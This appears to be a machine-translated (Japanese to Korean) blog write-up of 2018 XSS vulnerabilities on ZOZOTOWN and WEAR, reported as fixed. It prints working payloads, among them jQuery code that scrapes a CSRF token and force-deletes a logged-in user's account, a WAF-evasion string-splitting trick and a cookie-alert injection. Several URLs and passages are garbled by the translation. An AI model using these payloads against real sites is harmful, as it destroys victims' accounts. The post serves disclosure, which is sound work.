ZOZOTOWN에 있던 XSS


(2018년 10월)

(우주보다 엔지니어에게 돈을 쓰는 편이 낫지?)



라고 이웃의 고양이가 말했다.

XSS



아래와 같은 URL로 XSS가 생겼다.
  • http://zozo.jp/search/?sex=kids&dstk='}}; (JavaScript); {{'

  • 화상↑의 XSS는 이하와 같은 느낌으로 생겼다.

  • htp : // jp/세아 rch/? 세 x = 키 ds & dstk = '}}; $ ('i mg'). 아 tr ('src ', 'htps //w w. 오, ぇ. 이. jp / 속눈썹 s / b 란 ぢ ぢ / おお ぇ ぉ ご / 2x / おお ぇ ぉ ご _ r_272x92dp. pg’);{{'

  • 로그인중에 밟으면 강제탈퇴할 수 있던 XSS↓
    http://zozo.jp/search/?sex=kids&dstk='}};
    $.ajax({
        type: 'GET',
        url: 'http://zozo.jp/_member/leave/default.html?',
        success: function(html){
            var token = $(html).find('input[value=Leave]').attr('name');
            var payload = {};
            payload[token] = 'Leave';
            payload['check1'] = 'on';
            payload['check2'] = 'on';
            payload['check3'] = 'on';
            payload['check5'] = 'on';
            payload['check7'] = 'on';
            $.ajax({
                type: 'POST',
                url: 'http://zozo.jp/_member/leave/default.html',
                data: payload
            });
        }
    });{{'
    

    htp : // jp/~htps : // jp/~ 의 차이로 크로스 도메인 제약에 걸리지 못했지만, 사이트 전체가 https 대응되어 있으면, 메아드 강제 변경의 XSS도 짜낼 수 있었다.
    비밀번호를 잊었을 경우는 ~ 와 맞추면 계정을 탈취할 수 있는 XSS가 짜 줬을까 생각한다.

    원인

    HTML에 쓰는 형태로 <script> 태그의 내용을 URL에서 동적으로 생성하고 있었다.
    현재는 고치고 있다.

    나중에 브랜드 선택 페이지 ( htp : // jp / _ sh rch / sh p st_ pop _ l. HTML? 파 th = % 2F 세아 rch % 2F % 3Fp % 5F 케 yv % 3이다 % 26p % 5Fvck % 3D1 % 26 우스타 ぺ % 3D1 )의 검색 상자에
  • "><script>alert(document.cookie)</script>

  • 라든가 돌진하면 셀프 XSS가 생겼다.
    현재는 고치고 있다.

    감상


  • 1번째 XSS는 WAF(?)에 튕겨져 ↓라든지 사용할 수 없어서 힘들었다.
  • <script> ~, ~, <iframe> ~, javascript : ~, onmouseover = ~, &, +, alert (), console.log (), document. ~
  • location. ~ 으로 리디렉션하거나 할 수 있었다.

  • jQuery를 사용하여 도움이되었습니다.

  • ZOZO 테크놀로지스에게 메일을 냈는데 대답이 돌아오지 않아서 허했다.
  • → 이 기사 쓴 3일 후에 왔다.


  • WEAR





    지식이 빈약하기 때문에 WAF(?)에 튕겨 스크립트는 실행할 수 없었지만, ↑보통으로 이스케이프가 새고 있다.
    고치는 것이 좋다고 생각한다.

    추가 1:

    잘 보면 WEAR에서도 보통 XSS 할 수 있었다.

    (2018년 10월)

    추가 2:

    WEAR의 XSS 고치고 있었다.
    고치기 전에는, 이하와 같은 URL로 XSS가 생겼다.
  • https://wear.jp/coordinate/?tag_ids=467868&search_word=}; (JavaScript); var b = {'c': '

  • 화상↑의 XSS는 이하와 같은 느낌으로 생겼다.
  • https://wear.jp/coordinate/?tag_ids=467868&search_word=}; var url = ['java', 'script', ':', 'ale', 'rt', '(`X', 'SS', '`);'].join(''); location.href=url; var b = {'c': '

  • 강제 탈퇴 XSS도 가능했다 ↓
    https://wear.jp/coordinate/?tag_ids=467868&search_word=};
    var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
    $.ajax({
     type: 'GET',
     url: leaveUrl,
     success: function(html){
     var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
     var payload = {};
     payload['AgreeCheck'] = 1;
     payload['c'] = 'leave_comp';
     payload['leaveAgreeKey'] = token;
     $.ajax({
     type: 'POST',
     url: leaveUrl,
     data: payload
     });
     }
    });
    var b = {'c': '
    

    추가 3:

    해외 전개를 위한 zozo.com 회원등록 메일로 셀프 XSS를 할 수 있었다.
    글자수 제한 어려운 과연 쓸모가 없다고 생각하지만.




    (2018년 10월)

    좋은 웹페이지 즐겨찾기